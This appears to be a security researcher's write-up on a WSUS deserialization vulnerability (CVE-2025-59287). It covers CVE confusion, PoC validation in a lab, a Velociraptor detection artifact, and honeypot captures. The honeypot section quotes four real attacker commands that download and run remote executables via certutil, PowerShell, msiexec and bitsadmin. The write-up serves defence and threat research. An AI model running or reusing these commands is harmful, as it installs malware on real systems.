While conducting reconnaissance around a month ago, I received a scan result indicating that a target server might be vulnerable to CVE-2025-59287 (¹). I reviewed the associated CVE scan rule and found it too generic to trust on a high-value target. I then examined multiple proof-of-concept implementations across various GitHub repositories, but most lacked documentation and some were clearly malicious. Since the target server was highly critical, I did not want to execute any PoCs without fully understanding their impact and potential side effects.

This motivated a deeper investigation. I decided to build a VM with the vulnerable WSUS service, rewrite and test the proof-of-concepts, and thoroughly understand the vulnerability’s mechanics and impact before attempting any validation against the production target.

The initial investigation quickly ran into confusion between CVE-2025-59287 and CVE-2023-35317—a confusion that appears to be widespread across multiple blog posts. I read numerous blog posts and GitHub repositories discussing CVE-2025-59287, and most of them referenced HawkTrace’s initial blog post as their primary source (²). When I began investigating CVE-2025-59287 following the HawkTrace blog post, I failed to notice the header disclosure that corrected the CVE number, which led me down the wrong path.

After further investigation, I came across the Code White blog post, which was the only resource that clearly explained the distinction between the two CVEs. Their analysis showed that the BinaryFormatter deserialization path maps to CVE-2023-35317, not CVE-2025-59287. That finally explained why my earlier testing kept failing, chasing the wrong vulnerability and banging my head against the wall. The actual CVE-2025-59287 issue abuses a SoapFormatter deserialization path instead. The confusion comes from multiple posts referencing the HawkTrace article without noticing the CVE correction, leading to incorrect assumptions about which code path was actually vulnerable and how to trigger the payload.

With this clarification in hand, my objective was to recreate the window of exposure that existed between the October 14, 2025 Patch Tuesday release and the out-of-band remediation. This window represents the period when vulnerable WSUS servers were exposed to exploitation before Microsoft released the emergency patch. I constructed an isolated test environment to validate the vulnerability and capture execution traces using the correct vulnerable build configuration.

Technical Overview

To understand why the vulnerability exists and how it can be exploited, At a high level, the WSUS reporting service introduced a SoapFormatter deserialization call that processes attacker-controlled MiscData content in the ReportEventBatch SOAP method without adequate input validation. For readers who want a full code-level walk-through of the vulnerable control flow and patch diff, refer to the Code White analysis (³).

Detailed Findings

After understanding the vulnerability’s technical foundation, I needed to validate that exploitation was actually possible and document the specific payload construction requirements. I manually reviewed published PoCs, including the th1n0 repository (⁴). I quickly noticed that it is fake: instead of implementing a real exploit chain for CVE-2025-59287, it hides and executes arbitrary malicious code inside a helper function named _initialize_core(), so I discarded it.

Then I checked HawkTrace’s gist (⁵), which appeared to follow the right steps to hit SoapFormatter, so I edited a couple of things and tested it to understand how successful exploitation would impact a vulnerable server. The final working PoC here: CVE-2025-59287 PoC repository.

The final PoC uses a SoapFormatter compatible payload generated using ysoserial.net, embedded into the MiscData key path consumed by the WSUS reporting service. Successful exploitation results in w3wp.exe spawning child processes under the WSUS application pool identity (Network Service).

The debugging workflow involved verifying that the MiscData key was parsed correctly, confirming that the Base64 payload was converted to bytes, and observing the call flow into SoapUtilities.DeserializeObject.

Exploitation in the Wild

Out of curiosity, I wanted to see how threat actors were exploiting it in real-world scenarios. For this, I deployed a honeypot for around one week to capture active exploitation attempts. The honeypot captured all HTTP request bodies, which are available here: CVE-2025-59287 Honeypot repository.

The following malicious payloads were observed:

~/c certutil -urlcache -f http://79.124.40.162:8080/xUEZ93IVKeI10luC9TAueQ %TEMP%\LDwMwEhji.exe & start /B %TEMP%\LDwMwEhji.exe
/c powershell.exe -c "iwr 'https://github.com/reika911/SMTP-mail/raw/refs/heads/main/ufs.exe' -OutFile %TEMP%\ufs.exe; Start-Process %TEMP%\ufs.exe"
/c msiexec /i https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi /quiet /qn || bitsadmin /transfer myJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi %TEMP%\1234.msi && msiexec /i %TEMP%\1234.msi /quiet /qn
/c cmd /c bitsadmin /transfer myDownloadJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/sd.exe %TEMP%\sd.exe && %TEMP%\sd.exe

These patterns align with typical post-exploitation behavior where attackers leverage WSUS’s elevated privileges to perform their next activities. I haven’t had time to reverse engineer the captured implants, but I’m sharing the raw payloads here for the community to examine and use for detection research and threat intelligence.

Detection

Rather than duplicating existing work, I recommend reviewing the following resources which provide comprehensive detection analytics and queries:

• Huntress Detection Guide — Includes KQL queries, Sigma rules, and detection patterns for identifying CVE-2025-59287 exploitation
• Aditya Bhatt’s Detection Repository — Contains detection queries and analysis tools for monitoring WSUS exploitation attempts

In addition to the resources above, I found another exploitation attempts detection method. While reviewing WSUS logs, I noticed that BinaryFormatter.Deserialize appears in error lines within C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log. Based on this, I wrote and tested the following Velociraptor artifact that detects exploitation attempts by scanning for these signatures:

name: Windows.Detection.WSUS
description: |
  Checks WSUS service status, pulls all log lines from SoftwareDistribution log file,
  and detects CVE-2025-59287 exploitation attempts by scanning for BinaryFormatter.Deserialize
  signatures.
author: Mohammed Alshehri Github.com/M507
type: CLIENT
parameters:
  - name: SoftwareDistributionLog
    default: "C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log"
sources:
  - name: WsusServiceState
    query: |
       SELECT Name,
              State,
              StartMode,
              PathName
       FROM wmi(
         query="SELECT Name, State, StartMode, PathName FROM Win32_Service WHERE Name='WsusService'")


  - name: AllSoftwareDistributionLines
    query: |
       LET target_path = expand(path=SoftwareDistributionLog)
       SELECT target_path AS Path,
              offset + 1 AS LineNumber,
              Line
       FROM parse_lines(filename=target_path)


  - name: ExploitationAttempts
    query: |
       LET target_path = expand(path=SoftwareDistributionLog)
       SELECT target_path AS Path,
              offset + 1 AS LineNumber,
              Line
       FROM parse_lines(filename=target_path)
       WHERE Line =~ "BinaryFormatter\\.Deserialize"

Conclusion

CVE-2025-59287 represents a critical deserialization vulnerability that enables unauthenticated remote code execution against WSUS deployments. This investigation confirmed that the ReportEventBatch SOAP endpoint exposed a reachable SoapFormatter deserialization sink that processes attacker-controlled input without adequate validation.

The honeypot that was deployed captured active exploitation attempts, confirming that threat actors are actively targeting this vulnerability in the wild. The captured payloads reveal attackers immediately leveraging WSUS’s elevated privileges to deploy additional payloads. These observations, combined with reports from Huntress and CISA’s addition of this vulnerability to the KEV catalog, show the importance of patching this issue (⁶, ⁷).

References